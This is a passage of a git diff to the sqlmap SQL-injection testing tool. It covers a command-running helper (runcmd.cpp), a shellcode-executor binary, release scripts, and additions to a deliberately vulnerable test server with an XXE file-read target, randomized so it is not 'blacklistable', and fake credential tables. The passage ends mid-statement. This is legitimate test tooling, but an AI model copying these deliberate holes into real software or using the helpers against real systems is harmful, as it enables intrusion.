Release|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp index ab40a0c218e..743f2a279ef 100644 --- a/extra/runcmd/src/runcmd/runcmd.cpp +++ b/extra/runcmd/src/runcmd/runcmd.cpp @@ -1,46 +1,46 @@ -/* - runcmd - a program for running command prompt commands - Copyright (C) 2010 Miroslav Stampar - email: miroslav.stampar@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include -#include -#include -#include "stdafx.h" -#include - -using namespace std; -int main(int argc, char* argv[]) -{ - FILE *fp; - string cmd; - - for( int count = 1; count < argc; count++ ) - cmd += " " + string(argv[count]); - - fp = _popen(cmd.c_str(), "r"); - - if (fp != NULL) { - char buffer[BUFSIZ]; - - while (fgets(buffer, sizeof buffer, fp) != NULL) - fputs(buffer, stdout); - } - - return 0; -} +/* + runcmd - a program for running command prompt commands + Copyright (C) 2010 Miroslav Stampar + email: miroslav.stampar@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include +#include +#include +#include "stdafx.h" +#include + +using namespace std; +int main(int argc, char* argv[]) +{ + FILE *fp; + string cmd; + + for( int count = 1; count < argc; count++ ) + cmd += " " + string(argv[count]); + + fp = _popen(cmd.c_str(), "r"); + + if (fp != NULL) { + char buffer[BUFSIZ]; + + while (fgets(buffer, sizeof buffer, fp) != NULL) + fputs(buffer, stdout); + } + + return 0; +} diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj index 928c71606b0..157e33863d9 100644 --- a/extra/runcmd/src/runcmd/runcmd.vcproj +++ b/extra/runcmd/src/runcmd/runcmd.vcproj @@ -1,225 +1,225 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp index f5e349538ca..e191a9156a4 100644 --- a/extra/runcmd/src/runcmd/stdafx.cpp +++ b/extra/runcmd/src/runcmd/stdafx.cpp @@ -1,8 +1,8 @@ -// stdafx.cpp : source file that includes just the standard includes -// runcmd.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file +// stdafx.cpp : source file that includes just the standard includes +// runcmd.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h index bdabbfb48e9..0be0e6ffee0 100644 --- a/extra/runcmd/src/runcmd/stdafx.h +++ b/extra/runcmd/src/runcmd/stdafx.h @@ -1,17 +1,17 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. -#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. -#endif - -#include -#include - - - -// TODO: reference additional headers your program requires here +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. +#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. +#endif + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index 7c19a51b45e..515453c0e01 100644 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index bcc7440aff4..3ba88a266ac 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 9a75fbf2f9e..c334b972e84 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,14 +1,9 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission -# Stress test against Python3 +# Stress test against Python3(.14) -export SQLMAP_DREI=1 -#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done -for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done -unset SQLMAP_DREI +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done source `dirname "$0"`"/junk.sh" - -# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file' diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 0278b85dc3b..5de6e357e57 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index e3bfc70b96b..544ccf12163 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh deleted file mode 100755 index e0b5352d892..00000000000 --- a/extra/shutils/modernize.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -# sudo pip install modernize - -for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 9a25d123bb7..e82f47c46d4 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -22,7 +22,7 @@ git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 if [ -f $SETTINGS_FULLPATH ] then - LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"') + LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') declare -a LINE INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") if [ -n "$INCREMENTED" ] diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 34d995cde68..8b3f0121f0f 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index 6f964e74752..20c62373daf 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs py3diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index 9d64d9893dc..cbe37a7a0a8 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh deleted file mode 100755 index b8898be2d36..00000000000 --- a/extra/shutils/pylint.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 4aed1e72d6e..dd9ed154894 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -1,4 +1,6 @@ #!/bin/bash +set -euo pipefail +IFS=$'\n\t' if [ ! -f ~/.pypirc ]; then echo "File ~/.pypirc is missing" @@ -9,14 +11,15 @@ declare -x SCRIPTPATH="${0}" SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) TYPE=pip -TMP_DIR=/tmp/pypi -mkdir $TMP_DIR -cd $TMP_DIR -cat > $TMP_DIR/setup.py << EOF +TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" +cleanup() { rm -rf -- "${TMP_DIR:?}"; } +trap cleanup EXIT +cd "$TMP_DIR" +cat > "$TMP_DIR/setup.py" << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -38,7 +41,8 @@ setup( }, download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', license='GNU General Public License v2 (GPLv2)', - packages=find_packages(), + packages=['sqlmap'], + package_dir={'sqlmap':'sqlmap'}, include_package_data=True, zip_safe=False, # https://pypi.python.org/pypi?%3Aaction=list_classifiers @@ -59,6 +63,10 @@ setup( }, ) EOF +cat > "$TMP_DIR/setup.cfg" << "EOF" +[bdist_wheel] +universal = 1 +EOF wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip unzip sqlmap.zip rm sqlmap.zip @@ -67,7 +75,7 @@ cat > sqlmap/__init__.py << EOF #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -81,7 +89,7 @@ cat > README.rst << "EOF" sqlmap ====== -|Python 2.6|2.7|3.x| |License| |Twitter| +|Python 2.7|3.x| |License| |X| sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over @@ -122,7 +130,7 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap works out of the box with -`Python `__ version **2.6**, **2.7** and +`Python `__ version **2.7** and **3.x** on any platform. Usage @@ -159,22 +167,30 @@ Links - User's manual: https://github.com/sqlmapproject/sqlmap/wiki - Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -- Twitter: https://twitter.com/sqlmap +- X: https://x.com/sqlmap - Demos: http://www.youtube.com/user/inquisb/videos - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots -.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg +.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg :target: https://www.python.org/ .. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE -.. |Twitter| image:: https://img.shields.io/badge/twitter-@sqlmap-blue.svg - :target: https://twitter.com/sqlmap +.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg + :target: https://x.com/sqlmap .. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md .. http://rst.ninjs.org/ EOF sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py -for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done -python setup.py sdist upload -rm -rf $TMP_DIR +: > MANIFEST.in +while IFS= read -r -d '' file; do + case "$file" in + *.git|*.yml) continue ;; + esac + echo "include $file" >> MANIFEST.in +done < <(find sqlmap -type f -print0) +python setup.py sdist bdist_wheel +twine check dist/* +twine upload --config-file=~/.pypirc dist/* +rm -rf "$TMP_DIR" diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/extra/vulnserver/__init__.py +++ b/extra/vulnserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 76f9c23762a..e1a43886457 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -3,7 +3,7 @@ """ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,17 +11,35 @@ import base64 import json +import os +import random import re import sqlite3 +import string import sys +import tempfile import threading +import time import traceback PY3 = sys.version_info >= (3, 0) UNICODE_ENCODING = "utf-8" DEBUG = False +# A benign file with random content/name that the XXE endpoint can disclose via a file:// +# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a +# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a +# blacklistable signature. In-process server, so callers read these same values. +XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) +XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12))) +try: + with open(XXE_READ_FILE, "w") as _f: + _f.write(XXE_READ_MARKER + "\n") +except (IOError, OSError): + pass + if PY3: + from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -33,6 +51,7 @@ else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer + from httplib import FORBIDDEN from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK @@ -49,24 +68,349 @@ ); INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); - INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81'); - INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); - INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); + INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); + INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); + INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); + INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); + INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); + INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); + INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); + INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); + INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); + INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); + INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); + INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); + INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); + INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); + INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); + INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); + INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); + INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); + INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); + INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); + INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); + INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); + INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); + INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); + INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); + INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); + + CREATE TABLE creds ( + user_id INTEGER, + password_hash TEXT, + FOREIGN KEY (user_id) REFERENCES users(id) + ); + INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); + INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); + INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); + INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); + INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); + INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); + INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); + INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); + INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); + INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); + INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); + INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); + INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); + INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); + INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); + INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); + INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); + INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); + INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); + INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); + INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); + INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); + INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); + INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); + INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); + INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); + INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); + + CREATE TABLE directory ( + dn TEXT, + uid TEXT, + cn TEXT, + sn TEXT, + givenName TEXT, + displayName TEXT, + userPassword TEXT, + mail TEXT, + objectClass TEXT, + objectCategory TEXT, + ou TEXT, + title TEXT, + department TEXT, + company TEXT, + o TEXT, + telephoneNumber TEXT, + mobile TEXT, + manager TEXT, + description TEXT, + l TEXT, + st TEXT, + street TEXT, + postalCode TEXT, + c TEXT, + employeeNumber TEXT, + employeeType TEXT, + member TEXT + ); + -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail, + -- objectClass, objectCategory, ou, title, department, company, o, + -- telephoneNumber, mobile, manager, description, l, st, street, + -- postalCode, c, employeeNumber, employeeType, member + INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', 'luther@example.com', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL); + INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', 'fluffy@example.com', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', 'wu@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', 'mark@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', 'ada@example.com', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', 'grace@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', 'alan@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', 'margaret@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', 'donald@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', 'tim@example.com', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', 'linus@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', 'ken@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', 'dennis@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', 'barbara@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', 'edsger@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 